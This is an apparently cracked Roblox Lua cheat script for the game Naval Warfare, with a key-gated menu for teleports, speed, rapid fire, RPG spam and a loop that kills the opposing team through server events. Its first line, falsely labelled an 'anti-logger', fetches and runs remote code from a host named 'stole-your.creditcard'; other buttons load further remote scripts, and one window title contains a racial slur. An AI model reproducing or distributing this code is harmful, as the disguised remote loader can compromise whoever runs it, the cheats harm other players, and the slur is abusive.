
Keyless

--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- DO NOT REMOVE, THIS IS AN ANTI-LOGGER
loadstring(game:HttpGet("https://boggle.stole-your.creditcard/p/raw/jdjvzdlwk4"))()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local UserInputService = game:GetService("UserInputService")
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local KeyInput = Instance.new("TextBox")
local SubmitButton = Instance.new("TextButton")
local DiscordButton = Instance.new("TextButton")
local StatusLabel = Instance.new("TextLabel")
-- GUI Setup
ScreenGui.Parent = player:WaitForChild("PlayerGui")
Frame.Parent = ScreenGui
Frame.Size = UDim2.new(0, 300, 0, 250)
Frame.Position = UDim2.new(0.5, -150, 0.5, -125)
Frame.BackgroundColor3 = Color3.new(0.15, 0.15, 0.15)
Frame.BorderSizePixel = 0
Frame.BackgroundTransparency = 0.2
Frame.ClipsDescendants = true
-- Rounded Corners
local UICorner = Instance.new("UICorner")
UICorner.CornerRadius = UDim.new(0, 12)
UICorner.Parent = Frame
KeyInput.Parent = Frame
KeyInput.Size = UDim2.new(1, -20, 0, 50)
KeyInput.Position = UDim2.new(0, 10, 0, 20)
KeyInput.Text = ""
KeyInput.PlaceholderText = "Enter Key"
KeyInput.TextColor3 = Color3.new(1, 1, 1)
KeyInput.BackgroundColor3 = Color3.new(0.2, 0.2, 0.2)
KeyInput.BorderSizePixel = 0
local KeyInputCorner = Instance.new("UICorner")
KeyInputCorner.CornerRadius = UDim.new(0, 8)
KeyInputCorner.Parent = KeyInput
SubmitButton.Parent = Frame
SubmitButton.Size = UDim2.new(1, -20, 0, 50)
SubmitButton.Position = UDim2.new(0, 10, 0, 80)
SubmitButton.Text = "Submit"
SubmitButton.BackgroundColor3 = Color3.new(0.2, 0.6, 0.2)
SubmitButton.TextColor3 = Color3.new(1, 1, 1)
SubmitButton.BorderSizePixel = 0
local SubmitButtonCorner = Instance.new("UICorner")
SubmitButtonCorner.CornerRadius = UDim.new(0, 8)
SubmitButtonCorner.Parent = SubmitButton
DiscordButton.Parent = Frame
DiscordButton.Size = UDim2.new(1, -20, 0, 50)
DiscordButton.Position = UDim2.new(0, 10, 0, 140)
DiscordButton.Text = "Get Key"
DiscordButton.BackgroundColor3 = Color3.new(0.2, 0.4, 0.8)
DiscordButton.TextColor3 = Color3.new(1, 1, 1)
DiscordButton.BorderSizePixel = 0
local DiscordButtonCorner = Instance.new("UICorner")
DiscordButtonCorner.CornerRadius = UDim.new(0, 8)
DiscordButtonCorner.Parent = DiscordButton
StatusLabel.Parent = Frame
StatusLabel.Size = UDim2.new(1, -20, 0, 30)
StatusLabel.Position = UDim2.new(0, 10, 0, 110)
StatusLabel.TextColor3 = Color3.new(1, 1, 1)
StatusLabel.BackgroundTransparency = 1
StatusLabel.Text = ""
-- Key Logic
local correctKey = "rellahiscool"
-- Function to run the main script
local function runMainScript()
print("rizz")
-- Get the local player
local player = game.Players.LocalPlayer
-- Check if the player exists
if player then
-- Function to make the player say a message in the chat
local function sayInChat(message)
-- Use the Chat service to send the message
local chatService = game:GetService("Chat")
chatService:Chat(player.Character.Head, message, Enum.ChatColor.White)
end
-- Make the player say "Script Loading"
sayInChat("Script Loading!")
else
warn("LocalPlayer not found")
end
local Fluent = loadstring(game:HttpGet("https://github.com/dawid-scripts/Fluent/releases/latest/download/main.lua"))()
function Init()
Fluent = loadstring(game:HttpGet("https://github.com/dawid-scripts/Fluent/releases/latest/download/main.lua"))()
end
function Test()
print(Fluent.Options)
end
Init()
Test()
local Window = Fluent:CreateWindow({
Title = "Naval Warfare | " .. Fluent.Version,
SubTitle = "by rellah || cracked by the boggle.cc team .gg/Fc23Qprk2B",
TabWidth = 160,
Size = UDim2.fromOffset(580, 460),
Acrylic = true,
Theme = "Dark",
MinimizeKey = Enum.KeyCode.LeftControl
})
local Options = Fluent.Options
Fluent:Notify({
Title = "Script Loaded!",
Content = "discord.gg/Fc23Qprk2B",
SubContent = " ",
Duration = 10
})
local Tabs = {
Main = Window:AddTab({ Title = "Main", Icon = "rbxassetid://4483345998" }),
PlayerMods = Window:AddTab({ Title = "Player Mods", Icon = "rbxassetid://4483345998" }),
Cred = Window:AddTab({ Title = "Credits", Icon = "rbxassetid://4483345998" }) -- Corrected title to "Credits"
}
local MainTab = Tabs.Main
local PlayerModsTab = Tabs.PlayerMods -- Added reference to Player Mods tab
local CredTab = Tabs.Cred
MainTab:AddButton({
Title = "TP to Japan Lobby",
Description = "Teleport to the Japan Spawn Area",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-4.103087425231934, -295.5, -36.644065856933594)
end
})
MainTab:AddButton({
Title = "TP to American Lobby",
Description = "Teleport to the American Spawn Area",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(15.000070571899414, -295.5, 46.504608154296875)
end
})
MainTab:AddButton({
Title = "TP to Island C",
Description = " ",
Callback = function()
-- LocalPlayer setup
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Workspace = game:GetService("Workspace")
-- Character handling
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
LocalPlayer.CharacterAdded:Connect(function(character)
Character = character
end)
-- Island positions
local IslandPositions = {
IslandA = { X = nil, Y = nil, Z = nil },
IslandB = { X = nil, Y = nil, Z = nil },
IslandC = { X = nil, Y = nil, Z = nil },
}
-- Function to set island positions
local function SetIslandPositions()
for _, v in pairs(Workspace:GetChildren()) do
if v:IsA("Model") and v.Name == "Island" then
local flag = v:FindFirstChild("Flag")
if flag then
local post = flag:FindFirstChild("Post")
if post and post:IsA("BasePart") then
local position = post.Position
local islandCode = v:FindFirstChild("IslandCode")
if islandCode and islandCode:IsA("StringValue") then
if islandCode.Value == "A" then
IslandPositions.IslandA.X, IslandPositions.IslandA.Y, IslandPositions.IslandA.Z = position.X, position.Y, position.Z
elseif islandCode.Value == "B" then
IslandPositions.IslandB.X, IslandPositions.IslandB.Y, IslandPositions.IslandB.Z = position.X, position.Y, position.Z
elseif islandCode.Value == "C" then
IslandPositions.IslandC.X, IslandPositions.IslandC.Y, IslandPositions.IslandC.Z = position.X, position.Y, position.Z
end
end
end
end
end
end
end
-- Continuously update island positions
spawn(function()
while true do
SetIslandPositions()
wait(10) -- Check every 10 seconds; adjust as needed
end
end)
-- Initial setting of island positions
SetIslandPositions()
-- Teleport to Island C immediately after the script runs
if IslandPositions.IslandC.X then
Character.HumanoidRootPart.CFrame = CFrame.new(IslandPositions.IslandC.X, IslandPositions.IslandC.Y, IslandPositions.IslandC.Z)
end
end
})
MainTab:AddButton({
Title = "TP to Island B",
Description = " ",
Callback = function()
-- LocalPlayer setup
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Workspace = game:GetService("Workspace")
-- Character handling
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
LocalPlayer.CharacterAdded:Connect(function(character)
Character = character
end)
-- Island positions
local IslandPositions = {
IslandA = { X = nil, Y = nil, Z = nil },
IslandB = { X = nil, Y = nil, Z = nil },
IslandC = { X = nil, Y = nil, Z = nil },
}
-- Function to set island positions
local function SetIslandPositions()
for _, v in pairs(Workspace:GetChildren()) do
if v:IsA("Model") and v.Name == "Island" then
local flag = v:FindFirstChild("Flag")
if flag then
local post = flag:FindFirstChild("Post")
if post and post:IsA("BasePart") then
local position = post.Position
local islandCode = v:FindFirstChild("IslandCode")
if islandCode and islandCode:IsA("StringValue") then
if islandCode.Value == "A" then
IslandPositions.IslandA.X, IslandPositions.IslandA.Y, IslandPositions.IslandA.Z = position.X, position.Y, position.Z
elseif islandCode.Value == "B" then
IslandPositions.IslandB.X, IslandPositions.IslandB.Y, IslandPositions.IslandB.Z = position.X, position.Y, position.Z
elseif islandCode.Value == "C" then
IslandPositions.IslandC.X, IslandPositions.IslandC.Y, IslandPositions.IslandC.Z = position.X, position.Y, position.Z
end
end
end
end
end
end
end
-- Function to teleport to Island B
local function TeleportToIslandB()
SetIslandPositions() -- Ensure positions are updated before teleporting
if IslandPositions.IslandB.X then
Character.HumanoidRootPart.CFrame = CFrame.new(IslandPositions.IslandB.X, IslandPositions.IslandB.Y, IslandPositions.IslandB.Z)
end
end
-- Execute teleportation when script runs
TeleportToIslandB()
-- Optionally, you can add a way to trigger teleportation again, such as through a chat command
LocalPlayer.Chatted:Connect(function(message)
local nm = string.lower(message)
if nm == ";tpb" then -- Command to teleport to Island B
TeleportToIslandB()
end
end)
end
})
MainTab:AddButton({
Title = "TP to Island A",
Description = " ",
Callback = function()
-- LocalPlayer setup
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Workspace = game:GetService("Workspace")
-- Character handling
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
LocalPlayer.CharacterAdded:Connect(function(character)
Character = character
end)
-- Island positions
local IslandPositions = {
IslandA = { X = nil, Y = nil, Z = nil },
IslandB = { X = nil, Y = nil, Z = nil },
IslandC = { X = nil, Y = nil, Z = nil },
}
-- Function to set island positions
local function SetIslandPositions()
for _, v in pairs(Workspace:GetChildren()) do
if v:IsA("Model") and v.Name == "Island" then
local flag = v:FindFirstChild("Flag")
if flag then
local post = flag:FindFirstChild("Post")
if post and post:IsA("BasePart") then
local position = post.Position
local islandCode = v:FindFirstChild("IslandCode")
if islandCode and islandCode:IsA("StringValue") then
if islandCode.Value == "A" then
IslandPositions.IslandA.X, IslandPositions.IslandA.Y, IslandPositions.IslandA.Z = position.X, position.Y, position.Z
elseif islandCode.Value == "B" then
IslandPositions.IslandB.X, IslandPositions.IslandB.Y, IslandPositions.IslandB.Z = position.X, position.Y, position.Z
elseif islandCode.Value == "C" then
IslandPositions.IslandC.X, IslandPositions.IslandC.Y, IslandPositions.IslandC.Z = position.X, position.Y, position.Z
end
end
end
end
end
end
end
-- Function to teleport to Island A
local function TeleportToIslandA()
SetIslandPositions() -- Ensure positions are updated before teleporting
if IslandPositions.IslandA.X then
Character.HumanoidRootPart.CFrame = CFrame.new(IslandPositions.IslandA.X, IslandPositions.IslandA.Y, IslandPositions.IslandA.Z)
end
end
-- Execute teleportation when script runs
TeleportToIslandA()
-- Optionally, you can add a way to trigger teleportation again, such as through a chat command
LocalPlayer.Chatted:Connect(function(message)
local nm = string.lower(message)
if nm == ";tpa" then -- Command to teleport to Island A
TeleportToIslandA()
end
end)
end
})
MainTab:AddButton({
Title = "TP to American Harbour",
Description = " ",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-50.992095947265625, 23.0000057220459, 8129.59423828125)
end
})
MainTab:AddButton({
Title = "TP to Japan Harbour",
Description = " ",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-150.50711059570312, 23.0000057220459, -8160.171875)
end
})
MainTab:AddButton({
Title = "Load IY",
Description = "Executes infinite yield",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
end
})
CredTab:AddParagraph({
Title = "By rellah || cracked by the boggle.cc team",
Content = "cracked by the boggle.cc team .gg/Fc23Qprk2B"
})
PlayerModsTab:AddButton({
Title = "Faster Walk",
Description = "Increases walk speed",
Callback = function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 32
end
})
local Options = Fluent.Options
local Tabs = {
Main = Window:AddTab({ Title = "Players", Icon = "rbxassetid://4483345998" }),
}
local PlayersTab = Tabs.Main
local playerButtons = {} -- Table to keep track of buttons
-- Function to create or update player buttons
local function UpdatePlayerButtons()
-- Debug print
print("Updating player buttons...")
-- Remove buttons for players who are no longer in the game
for playerName, button in pairs(playerButtons) do
local player = game.Players:FindFirstChild(playerName)
if not player then
print("Removing button for player: " .. playerName)
button:Destroy()
playerButtons[playerName] = nil
end
end
-- Add buttons for players who are new or not yet added
for _, player in ipairs(game.Players:GetPlayers()) do
if player ~= game.Players.LocalPlayer and not playerButtons[player.Name] then
print("Adding button for player: " .. player.Name)
local button = PlayersTab:AddButton({
Title = player.Name,
Description = "Teleport to " .. player.Name,
Callback = function()
local character = player.Character
if character and character:FindFirstChild("HumanoidRootPart") then
local targetPosition = character.HumanoidRootPart.CFrame.Position
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(targetPosition)
else
print("Character or HumanoidRootPart not found for player: " .. player.Name)
end
end
})
playerButtons[player.Name] = button
end
end
end
-- Initial setup
UpdatePlayerButtons()
-- Update the player buttons when a new player joins
game.Players.PlayerAdded:Connect(function(player)
wait(1) -- Wait a short time to ensure the player has been added
print("Player added: " .. player.Name)
UpdatePlayerButtons()
end)
-- Remove player buttons when a player leaves
game.Players.PlayerRemoving:Connect(function(player)
if playerButtons[player.Name] then
print("Player leaving: " .. player.Name)
playerButtons[player.Name]:Destroy()
playerButtons[player.Name] = nil
end
end)
-- Continuously update the player buttons
spawn(function()
while wait(5) do -- Adjust the interval as needed
UpdatePlayerButtons()
end
end)
PlayerModsTab:AddButton({
Title = "OP Player GUI",
Description = "RPG Spam, Kill all, Rapid Fire",
Callback = function()
local library = loadstring(game:HttpGet("https://raw.githubusercontent.com/rvllah/gui-lib-for-nw/refs/heads/main/OP%20PlayerGUI", true))()
local w = library:CreateWindow("Rellah's nigger OP GUI")
-- Add a label above the Godmode button
w:Label("Use in lobby")
-- Flag to check if Godmode is active
local godmodeActive = false
-- Function to teleport player based on team
local function teleportPlayer()
if godmodeActive then
local player = game.Players.LocalPlayer
if player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
local team = player.Team and player.Team.Name or "Unknown" -- Ensure player.Team is valid
print("Current Team: " .. team) -- Debug message to check the team name
if team == "Japan" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-150.50711059570312, 23.0000057220459, -8160.171875)
elseif team == "USA" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-50.992095947265625, 23.0000057220459, 8129.59423828125)
else
print("Team not recognized or not found")
end
else
print("Player or HumanoidRootPart not found")
end
end
end
-- Button to enable godmode
w:Button("Godmode", function()
print("Godmode button clicked") -- Debug message to check if button is clicked
godmodeActive = not godmodeActive -- Toggle Godmode state
if godmodeActive then
print("Godmode activated")
teleportPlayer() -- Initial teleport when Godmode is activated
else
print("Godmode deactivated")
end
end)
-- Check player's team every 30 seconds
spawn(function()
while wait(30) do
if godmodeActive then
local player = game.Players.LocalPlayer
if player and player.Team then
local team = player.Team.Name
print("Current team check: " .. team) -- Print the team name for debugging
else
print("Player or team not found")
end
end
end
end)
w:Toggle("Rapid Fire (Hold E)", {flag="toggle1"})
spawn(function()
while wait() do
if w.flags.toggle1 then
local character = game.Players.LocalPlayer.Character
if character and character:FindFirstChild("Humanoid") then
local UIS = game:GetService("UserInputService")
while w.flags.toggle1 do
if UIS:IsKeyDown(Enum.KeyCode.E) then
local tool = character:FindFirstChild("M1 Garand")
if tool then
tool:Activate()
else
print("Tool not found: M1 Garand")
end
end
wait(0.1)
end
else
print("Humanoid not found")
end
end
end
end)
w:Toggle("Kill Opposite Team", {flag="toggle3"})
spawn(function()
while wait(0.1) do
if w.flags.toggle3 then
local character = game.Players.LocalPlayer.Character
if character and character:FindFirstChild("Humanoid") then
local localPlayerTeam = game.Players.LocalPlayer.Team
for _, v in pairs(game.workspace:GetDescendants()) do
if v:IsA("Humanoid") and v.Parent and v.Parent:FindFirstChild("HumanoidRootPart") then
local opponentPlayer = game.Players:GetPlayerFromCharacter(v.Parent)
if opponentPlayer and opponentPlayer.Team ~= localPlayerTeam then
local humanoidRootPart = v.Parent:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
local A_1 = "shootRifle"
local A_2 = ""
local A_3 = {humanoidRootPart}
local Event = game:GetService("ReplicatedStorage"):FindFirstChild("Event")
if Event then
Event:FireServer(A_1, A_2, A_3)
Event:FireServer(A_1, "hit", {v})
else
print("Event not found in ReplicatedStorage")
end
end
end
end
end
else
print("Humanoid not found")
end
end
end
end)
w:Section("Must have RPG GamePass")
w:Toggle("Shoot RPG", {flag="toggle4"})
spawn(function()
while wait() do
if w.flags.toggle4 then
local mouse = game.Players.LocalPlayer:GetMouse()
local A_2 = {[1] = mouse.Hit.p}
game:GetService("ReplicatedStorage").Event:FireServer("fireRPG", A_2)
end
end
end)
end
})
PlayerModsTab:AddButton({
Title = "TP Tool",
Description = "Click to teleport",
Callback = function()
-- Function to create and give the teleport tool to the player
local function giveTeleportTool(player)
-- Create the teleport tool
local TpTool = Instance.new("Tool")
TpTool.Name = "Teleport Tool"
TpTool.RequiresHandle = false
TpTool.Parent = player.Backpack
-- Get the player's mouse
local mouse = player:GetMouse()
-- Connect the activation of the tool
TpTool.Activated:Connect(function()
-- Get the player's character and HumanoidRootPart
local char = player.Character or workspace:FindFirstChild(player.Name)
local HRP = char and char:FindFirstChild("HumanoidRootPart")
if not HRP then
return warn("Failed to find HumanoidRootPart")
end
-- Get the target position from the mouse hit
local targetPosition = mouse.Hit.p
-- Teleport the player to the target position
HRP.CFrame = CFrame.new(targetPosition.X, targetPosition.Y + 3, targetPosition.Z)
end)
end
-- Give the teleport tool to the local player
local player = game.Players.LocalPlayer
if player then
giveTeleportTool(player)
else
warn("LocalPlayer not found")
end
end
})
PlayerModsTab:AddButton({
Title = "GodMode",
Description = "Use in lobby BUGGY",
Callback = function()
local player = game.Players.LocalPlayer
if player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
local team = player.Team and player.Team.Name or "Unknown" -- Ensure player.Team is valid
print("Current Team: " .. team) -- Debug message to check the team name
if team == "Japan" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-150.50711059570312, 23.0000057220459, -8160.171875)
elseif team == "USA" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-50.992095947265625, 23.0000057220459, 8129.59423828125)
else
print("Team not recognized or not found")
end
else
print("Player or HumanoidRootPart not found")
end
end
})
ScreenGui:Destroy()
end
SubmitButton.MouseButton1Click:Connect(function()
local enteredKey = KeyInput.Text
if enteredKey == correctKey then
StatusLabel.Text = "Key accepted! Running script..."
wait(1)
runMainScript()
else
StatusLabel.Text = "Incorrect key. Try again."
end
end)
-- Copy Discord link function
DiscordButton.MouseButton1Click:Connect(function()
setclipboard("discord.gg/Fc23Qprk2B")
DiscordButton.Text = "Discord Copied"
end)
-- Focus events to manage placeholder text
KeyInput.Focused:Connect(function()
if KeyInput.Text == "Enter Key" then
KeyInput.Text = ""
KeyInput.TextColor3 = Color3.new(1, 1, 1)
end
end)
KeyInput.FocusLost:Connect(function()
if KeyInput.Text == "" then
KeyInput.Text = "Enter Key"
KeyInput.TextColor3 = Color3.new(0.5, 0.5, 0.5)
end
end)



pasted and chatgpt, W mans. The obfuscated version was mad funny. ASCII moment.